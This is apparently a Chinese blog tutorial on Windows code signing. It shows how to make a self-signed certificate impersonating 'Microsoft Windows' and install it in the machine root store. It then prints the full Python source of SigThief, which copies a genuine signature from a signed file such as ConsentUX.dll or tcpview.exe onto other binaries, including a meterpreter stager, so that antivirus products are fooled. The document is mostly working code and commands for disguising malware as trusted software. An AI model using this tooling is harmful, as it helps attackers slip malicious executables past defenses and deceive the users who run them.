Python使用sigthief簽發(fā)證書(shū)的實(shí)現(xiàn)步驟

更新時(shí)間：2021年06月22日 16:28:49 作者：lyshark

Windows 系統(tǒng)中的一些非常重要文件通常會(huì)被添加數(shù)字簽名，其目的是用來(lái)防止被篡改，能確保用戶(hù)通過(guò)互聯(lián)網(wǎng)下載時(shí)能確信此代碼沒(méi)有被非法篡改和來(lái)源可信，從而保護(hù)了代碼的完整性、保護(hù)了用戶(hù)不會(huì)被病毒、惡意代碼和間諜軟件所侵害，本章將演示證書(shū)的簽發(fā)與偽造

制作并簽發(fā)證書(shū):

正常情況下,針對(duì)exe簽發(fā)證書(shū)有如下幾個(gè)步驟.

1.查詢(xún)一個(gè)程序中存在的證書(shū)，可以使用下面三個(gè)命令。

c:\> signtools Get-AuthenticodeSignature C:\Windows\System32\ConsentUX.dll
c:\> signtools signtool.exe verify /v C:\Windows\System32\ConsentUX.dll
c:\> signtools sigcheck.exe -q C:\Windows\System32\ConsentUX.dll

2.使用makecert命令制作證書(shū)，sv-私鑰文件名，ss-主題的證書(shū)存儲(chǔ)名稱(chēng)，n-證書(shū)頒發(fā)對(duì)象，r-證書(shū)存儲(chǔ)位置。

c:\> signtools makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
c:\> signtools cert2spc Root.cer Root.spc
c:\> signtools pvk2pfx -pvk Root.pvk -pi 1233 -spc Root.spc -pfx Root.pfx -f

3.注冊(cè)證書(shū)與簽發(fā)證書(shū)。

c:\> signtools certmgr.exe -add -c Root.cer -s -r localmachine root
c:\> signtools signtool sign /f Root.pfx /p 1233 lyshark.exe

而如果要給PowerShell腳本添加證書(shū),則執(zhí)行如下命令即可.

1.生成證書(shū)文件

c:\> makecert -n "CN=Microsoft Windows" -r -eku 1.3.6.1.5.5.7.3.3 -sv certtest.pvk certtest.cer
c:\> cert2spc certtest.cer certtest.spc
c:\> pvk2pfx -pvk certtest.pvk -pi 123123 -spc certtest.spc -pfx certtest.pfx -f

2.給powershell腳本簽名

c:\> powershell
c:\> $cert = Get-PfxCertificate certtest.pfx
c:\> Set-AuthenticodeSignature -Filepath lyshark.ps1 -Cert $cert

偽造PE文件證書(shū):

有些反病毒軟件供應(yīng)商優(yōu)先考慮某些證書(shū)頒發(fā)機(jī)構(gòu)而不檢查簽名是否真正有效，并且有一些只是檢查以查看certTable是否填充了某些值。這個(gè)工具讓你快速將從已簽名的PE文件中刪除簽名并將其附加到另一個(gè)文件，修復(fù)證書(shū)表以對(duì)文件進(jìn)行簽名。

開(kāi)源工具SigThief可用于偽造證書(shū)，將下方代碼保存為sigthief.py即可：

import sys
import struct
import shutil
import io
from optparse import OptionParser

def gather_file_info_win(binary):
        """
        Borrowed from BDF...
        I could just skip to certLOC... *shrug*
        """
        flItms = {}
        binary = open(binary, 'rb')
        binary.seek(int('3C', 16))
        flItms['buffer'] = 0
        flItms['JMPtoCodeAddress'] = 0
        flItms['dis_frm_pehdrs_sectble'] = 248
        flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
        # Start of COFF
        flItms['COFF_Start'] = flItms['pe_header_location'] + 4
        binary.seek(flItms['COFF_Start'])
        flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
        binary.seek(flItms['COFF_Start'] + 2, 0)
        flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
        flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
        binary.seek(flItms['COFF_Start'] + 16, 0)
        flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]
        flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
        #End of COFF
        flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20

        #if flItms['SizeOfOptionalHeader']:
            #Begin Standard Fields section of Optional Header
        binary.seek(flItms['OptionalHeader_start'])
        flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]
        flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
        flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
        flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
        flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]
        flItms['SizeOfUninitializedData'] = struct.unpack("<I",
                                                               binary.read(4))[0]
        flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]
        flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
        flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]
        if flItms['Magic'] != 0x20B:
            flItms['BaseOfData'] = struct.unpack('<I', binary.read(4))[0]
        # End Standard Fields section of Optional Header
        # Begin Windows-Specific Fields of Optional Header
        if flItms['Magic'] == 0x20B:
            flItms['ImageBase'] = struct.unpack('<Q', binary.read(8))[0]
        else:
            flItms['ImageBase'] = struct.unpack('<I', binary.read(4))[0]
        flItms['SectionAlignment'] = struct.unpack('<I', binary.read(4))[0]
        flItms['FileAlignment'] = struct.unpack('<I', binary.read(4))[0]
        flItms['MajorOperatingSystemVersion'] = struct.unpack('<H',
                                                                   binary.read(2))[0]
        flItms['MinorOperatingSystemVersion'] = struct.unpack('<H',
                                                                   binary.read(2))[0]
        flItms['MajorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
        flItms['MinorImageVersion'] = struct.unpack('<H', binary.read(2))[0]
        flItms['MajorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
        flItms['MinorSubsystemVersion'] = struct.unpack('<H', binary.read(2))[0]
        flItms['Win32VersionValue'] = struct.unpack('<I', binary.read(4))[0]
        flItms['SizeOfImageLoc'] = binary.tell()
        flItms['SizeOfImage'] = struct.unpack('<I', binary.read(4))[0]
        flItms['SizeOfHeaders'] = struct.unpack('<I', binary.read(4))[0]
        flItms['CheckSum'] = struct.unpack('<I', binary.read(4))[0]
        flItms['Subsystem'] = struct.unpack('<H', binary.read(2))[0]
        flItms['DllCharacteristics'] = struct.unpack('<H', binary.read(2))[0]
        if flItms['Magic'] == 0x20B:
            flItms['SizeOfStackReserve'] = struct.unpack('<Q', binary.read(8))[0]
            flItms['SizeOfStackCommit'] = struct.unpack('<Q', binary.read(8))[0]
            flItms['SizeOfHeapReserve'] = struct.unpack('<Q', binary.read(8))[0]
            flItms['SizeOfHeapCommit'] = struct.unpack('<Q', binary.read(8))[0]

        else:
            flItms['SizeOfStackReserve'] = struct.unpack('<I', binary.read(4))[0]
            flItms['SizeOfStackCommit'] = struct.unpack('<I', binary.read(4))[0]
            flItms['SizeOfHeapReserve'] = struct.unpack('<I', binary.read(4))[0]
            flItms['SizeOfHeapCommit'] = struct.unpack('<I', binary.read(4))[0]
        flItms['LoaderFlags'] = struct.unpack('<I', binary.read(4))[0]  # zero
        flItms['NumberofRvaAndSizes'] = struct.unpack('<I', binary.read(4))[0]
        # End Windows-Specific Fields of Optional Header
        # Begin Data Directories of Optional Header
        flItms['ExportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
        flItms['ExportTableSize'] = struct.unpack('<I', binary.read(4))[0]
        flItms['ImportTableLOCInPEOptHdrs'] = binary.tell()
        #ImportTable SIZE|LOC
        flItms['ImportTableRVA'] = struct.unpack('<I', binary.read(4))[0]
        flItms['ImportTableSize'] = struct.unpack('<I', binary.read(4))[0]
        flItms['ResourceTable'] = struct.unpack('<Q', binary.read(8))[0]
        flItms['ExceptionTable'] = struct.unpack('<Q', binary.read(8))[0]
        flItms['CertTableLOC'] = binary.tell()
        flItms['CertLOC'] = struct.unpack("<I", binary.read(4))[0]
        flItms['CertSize'] = struct.unpack("<I", binary.read(4))[0]
        binary.close()
        return flItms


def copyCert(exe):
    flItms = gather_file_info_win(exe)

    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Input file Not signed!")
        sys.exit(-1)

    with open(exe, 'rb') as f:
        f.seek(flItms['CertLOC'], 0)
        cert = f.read(flItms['CertSize'])
    return cert


def writeCert(cert, exe, output):
    flItms = gather_file_info_win(exe)
    
    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("Output file: {0}".format(output))

    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms['CertTableLOC'], 0)
            f.write(struct.pack("<I", len(open(exe, 'rb').read())))
            f.write(struct.pack("<I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)

    print("Signature appended. \nFIN.")

def outputCert(exe, output):
    cert = copyCert(exe)
    if not output:
        output = str(exe) + "_sig"

    print("Output file: {0}".format(output))

    open(output, 'wb').write(cert)

    print("Signature ripped. \nFIN.")


def check_sig(exe):
    flItms = gather_file_info_win(exe)
 
    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Inputfile Not signed!")
    else:
        print("Inputfile is signed!")


def truncate(exe, output):
    flItms = gather_file_info_win(exe)
 
    if flItms['CertLOC'] == 0 or flItms['CertSize'] == 0:
        # not signed
        print("Inputfile Not signed!")
        sys.exit(-1)
    else:
        print( "Inputfile is signed!")

    if not output:
        output = str(exe) + "_nosig"

    print("Output file: {0}".format(output))

    shutil.copy2(exe, output)

    with open(output, "r+b") as binary:
        print('Overwriting certificate table pointer and truncating binary')
        binary.seek(-flItms['CertSize'], io.SEEK_END)
        binary.truncate()
        binary.seek(flItms['CertTableLOC'], 0)
        binary.write(b"\x00\x00\x00\x00\x00\x00\x00\x00")

    print("Signature removed. \nFIN.")


def signfile(exe, sigfile, output):
    flItms = gather_file_info_win(exe)
    
    cert = open(sigfile, 'rb').read()

    if not output: 
        output = output = str(exe) + "_signed"

    shutil.copy2(exe, output)
    
    print("Output file: {0}".format(output))
    
    with open(exe, 'rb') as g:
        with open(output, 'wb') as f:
            f.write(g.read())
            f.seek(0)
            f.seek(flItms['CertTableLOC'], 0)
            f.write(struct.pack("<I", len(open(exe, 'rb').read())))
            f.write(struct.pack("<I", len(cert)))
            f.seek(0, io.SEEK_END)
            f.write(cert)
    print("Signature appended. \nFIN.")


if __name__ == "__main__":
    usage = 'usage: %prog [options]'
    parser = OptionParser()
    parser.add_option("-i", "--file", dest="inputfile", 
                  help="input file", metavar="FILE")
    parser.add_option('-r', '--rip', dest='ripsig', action='store_true',
                  help='rip signature off inputfile')
    parser.add_option('-a', '--add', dest='addsig', action='store_true',
                  help='add signautre to targetfile')
    parser.add_option('-o', '--output', dest='outputfile',
                  help='output file')
    parser.add_option('-s', '--sig', dest='sigfile',
                  help='binary signature from disk')
    parser.add_option('-t', '--target', dest='targetfile',
                  help='file to append signature to')
    parser.add_option('-c', '--checksig', dest='checksig', action='store_true',
                  help='file to check if signed; does not verify signature')
    parser.add_option('-T', '--truncate', dest="truncate", action='store_true',
                  help='truncate signature (i.e. remove sig)')
    (options, args) = parser.parse_args()
    
    # rip signature
    # inputfile and rip to outputfile
    if options.inputfile and options.ripsig:
        print("Ripping signature to file!")
        outputCert(options.inputfile, options.outputfile)
        sys.exit()    

    # copy from one to another
    # inputfile and rip to targetfile to outputfile    
    if options.inputfile and options.targetfile:
        cert = copyCert(options.inputfile)
        writeCert(cert, options.targetfile, options.outputfile)
        sys.exit()

    # check signature
    # inputfile 
    if options.inputfile and options.checksig:
        check_sig(options.inputfile) 
        sys.exit()

    # add sig to target file
    if options.targetfile and options.sigfile:
        signfile(options.targetfile, options.sigfile, options.outputfile)
        sys.exit()
        
    # truncate
    if options.inputfile and options.truncate:
        truncate(options.inputfile, options.outputfile)
        sys.exit()

    parser.print_help()
    parser.error("You must do something!")

我們需要找一個(gè)帶有證書(shū)的文件，然后通過(guò)使用sigthief.py完成證書(shū)的克隆。此處就拿系統(tǒng)中的ConsentUX.dll演示。

c:\> python sigthief.py -i ConsentUX.dll -t lyshark.exe -o check.exe
Output file: check.exe
Signature appended.
FIN.

也可以從二進(jìn)制文件中獲取簽名并將其添加到另一個(gè)二進(jìn)制文件中

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe 
Output file: /tmp/msftesting_tcpview.exe
Signature appended. 
FIN.

將簽名保存到磁盤(pán)以供以后使用，提供了一個(gè)轉(zhuǎn)存功能。

$ ./sigthief.py -i tcpview.exe -r                                                        
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped. 
FIN.
```BASH
使用翻錄簽名
```BASH
$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe                               
Output file: x86_meterpreter_stager.exe_signed
Signature appended. 
FIN.
```BASH
截?cái)啵▌h除）簽名 這實(shí)際上有非常有趣的結(jié)果，可以幫助您找到重視代碼功能簽名的AV）
```BASH
$ ./sigthief.py -i tcpview.exe -T    
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed. 
FIN.

文章出處：https://www.cnblogs.com/lyshark

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